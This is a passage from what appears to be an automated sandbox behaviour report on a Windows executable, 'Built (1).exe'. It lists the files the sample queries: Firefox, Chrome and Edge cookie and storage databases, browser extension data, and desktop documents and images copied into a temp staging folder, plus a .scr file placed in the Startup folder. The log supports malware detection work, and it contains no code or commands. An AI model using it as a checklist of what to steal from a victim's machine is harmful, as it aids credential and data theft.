              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\blank.aes VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\blank.aes VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\blank.aes VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\blank.aes VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\blank.aes VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\blank.aes VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\_lzma.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\_bz2.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\_sqlite3.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\_socket.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\select.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\_ssl.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\_hashlib.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\_queue.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\Built (1).exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI75282\unicodedata.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \System\Antivirus.txt VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\AIXACVYBSB.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\AIXACVYBSB.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\DTBZGIOOSO.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\DTBZGIOOSO.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\DTBZGIOOSO.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\DTBZGIOOSO.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\DTBZGIOOSO.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\DTBZGIOOSO.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\DTBZGIOOSO.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\DTBZGIOOSO.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\DTBZGIOOSO.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\DTBZGIOOSO.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\DVWHKMNFNN.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\DVWHKMNFNN.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\DVWHKMNFNN.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\DVWHKMNFNN.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\DVWHKMNFNN.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\HTAGVDFUIE.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\HTAGVDFUIE.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\HTAGVDFUIE.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\HTAGVDFUIE.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\HTAGVDFUIE.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\JSDNGYCOWY.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\JSDNGYCOWY.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\JSDNGYCOWY.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\JSDNGYCOWY.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\KATAXZVCPS.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\KATAXZVCPS.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\KATAXZVCPS.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\KATAXZVCPS.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\KATAXZVCPS.xlsx VolumeInformationJump to behavior
